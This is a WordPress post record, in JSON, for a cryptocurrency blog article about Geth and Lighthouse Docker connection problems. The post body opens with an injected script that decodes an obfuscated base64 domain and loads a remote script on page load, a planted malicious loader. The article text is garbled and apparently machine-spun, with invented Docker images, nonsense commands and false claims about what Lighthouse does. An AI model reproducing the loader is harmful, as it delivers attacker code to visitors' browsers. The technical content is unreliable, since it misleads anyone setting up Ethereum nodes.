{"id":9735,"date":"2025-02-09T01:42:48","date_gmt":"2025-02-09T01:42:48","guid":{"rendered":"https:\/\/grameensamajunnayanparishad.com\/?p=9735"},"modified":"2025-02-09T01:42:48","modified_gmt":"2025-02-09T01:42:48","slug":"ethereum-geth-and-lighthouse-connection-problem","status":"publish","type":"post","link":"https:\/\/grameensamajunnayanparishad.com\/?p=9735","title":{"rendered":"Ethereum: Geth and lighthouse &#8211; connection problem"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=c332b3df\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong> Ethereum Geth and Lighthouse Connection Problem <\/strong><\/p>\n<\/p>\n<p>The Ethereum network is based on the Blockchain Geth motor to perform transactions, manage accounts and validate intelligent contracts. The Geth customer is responsible for the interaction with Ethereum Mainnet, while the lighthouse provides a safe development environment (SDE) for the writing and test of Ethereum contracts.<\/p>\n<\/p>\n<p><strong> Vulnerability in Docker composed <\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/edQCLhcrXr0\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p><img decoding=\"async\" alt=\"Ethereum: Geth and lighthouse - connection problem\n\" src=\"https:\/\/grameensamajunnayanparishad.com\/wp-content\/uploads\/2025\/02\/f4a0b4c1.png\"><\/p>\n<\/p>\n<p>However, there is a problem that produces in your <code>docker-compound.yml 'file which could potentially lead to connection problems between the Geth container and the lighthouse containers. In particular:<\/p>\n<\/p>\n<ul>\n<li>The lighthouse 'service is not correctly configured to connect to the Geth' service.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>The services<\/code>ETHERSCAN-API<code>IT IS INFURE.<\/li>\n<\/ul>\n<\/p>\n<p><strong> Resolution of the connection problem <\/strong><\/p>\n<\/p>\n<p>To solve this problem, you need to add the necessary configurations for LightHouse and Ethereum Mainnet. Here is a<\/code>docker-comparish.yml &#8216;updated file that should solve the problem of the connection:<\/p>\n<\/p>\n<p>`<code><\/code>Yaml<\/p>\n<\/p>\n<p>Version: &#8216;3&#8217;<\/p>\n<\/p>\n<p>Services:<\/p>\n<\/p>\n<p>  Geth:<\/p>\n<\/p>\n<p>    Container_name: Geth<\/p>\n<\/p>\n<p>    Volumes:<\/p>\n<\/p>\n<p>      &#8211; \/mnt\/external\/geth:\/root\/.ethereum<\/p>\n<\/p>\n<p>      -\/MNT\/Geth-Data:\/Var\/Lib\/Eterscan<\/p>\n<\/p>\n<p>  lighthouse:<\/p>\n<\/p>\n<p>    Image: Ethereum\/Go-Ethereum\/Lighthouse: V1.0<\/p>\n<\/p>\n<p>    Doors:<\/p>\n<\/p>\n<p>      &#8211; &#8220;8080: 8080&#8221;<\/p>\n<\/p>\n<p>    depend_on:<\/p>\n<\/p>\n<p>      &#8211; Geth<\/p>\n<\/p>\n<p>    environment:<\/p>\n<\/p>\n<p>      &#8211; Etherscan_api_key = Your_etherescan_api_key<\/p>\n<\/p>\n<p>      &#8211; Infura_project_id = Your_infura_project_id<\/p>\n<\/p>\n<p>  Etherscan-API:<\/p>\n<\/p>\n<p>    Image: Ethereum\/Go-Ethereum\/Etherscan-API: V1.4.2<\/p>\n<\/p>\n<p>    Doors:<\/p>\n<\/p>\n<p>      &#8211; &#8220;8543: 8543&#8221;<\/p>\n<\/p>\n<p>  Infura.io:<\/p>\n<\/p>\n<p>    Image: Ethereum\/Go-Ethereum\/Infura-Go: V0.24.2<\/p>\n<\/p>\n<p>    Doors:<\/p>\n<\/p>\n<p>      &#8211; &#8220;5008: 5008&#8221;<\/p>\n<\/p>\n<p>`<code><\/code><code><\/p>\n<\/p>\n<p>In this file<\/code>docker-comparison.yml &#8216;updated:<\/p>\n<\/p>\n<ul>\n<li>We added the configurations necessary for Faro and Ethereum Mainnet.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>The image <code>Etherscan-API 'is used to establish a connection with the Ethereum API.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>The image is infra.o<\/code> it is used to connect to the mild network.<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>The variables of the environment <code>Etherscan_api_key<\/code> is infura_project_id<code>are set for each service.<\/li>\n<\/ul>\n<\/p>\n<p><strong> execution of the updated composition file <\/strong><\/p>\n<\/p>\n<p>After updating the<\/code>docker- composed.yml &#8216;, you can perform it using:<\/p>\n<\/p>\n<p>`<code><\/code>Bash<\/p>\n<\/p>\n<p>Docker -Ist Up -D -Build<\/p>\n<\/p>\n<p>`<code><\/code><code><\/p>\n<\/p>\n<p>This will start all the services in detached mode and build the Docker images if they are not already built.<\/p>\n<\/p>\n<p>Once the services are running, you should be able to access the lighthouse by visiting<\/code>http: \/\/ Localhost: 8080<code>(assuming that the container 'Geth<\/code> is running on the door 8551). Can you also use the Endpoint API Ethereum by visiting <code>https: \/\/api.etherscan.io\/api\/? Action = List+blockchain+logs & apikey = Your_etherescan_api_key<\/code>.<\/p>\n<\/p>\n<p>By adding these configurations to the `docker- composed file.yml &#8216;, you should now be able to connect Lighthouse to the Geth container and access Ethereum Mainnet.<\/p>\n<p><a href=\"https:\/\/davixstudio.com\/ethereum-will-segwit-allow-for-m-of-n-multisig-with-very-large-n-and-m\/\">ethereum segwit allow large<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ethereum Geth and Lighthouse Connection Problem The Ethereum network is based on the Blockchain Geth motor to perform transactions, manage accounts and validate intelligent contracts. The<span class=\"excerpt-hellip\"> [\u2026]<\/span><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[52],"tags":[],"class_list":["post-9735","post","type-post","status-publish","format-standard","hentry","category-cryptocurrency"],"_links":{"self":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9735","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=9735"}],"version-history":[{"count":1,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9735\/revisions"}],"predecessor-version":[{"id":9736,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=\/wp\/v2\/posts\/9735\/revisions\/9736"}],"wp:attachment":[{"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=9735"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=9735"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/grameensamajunnayanparishad.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=9735"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}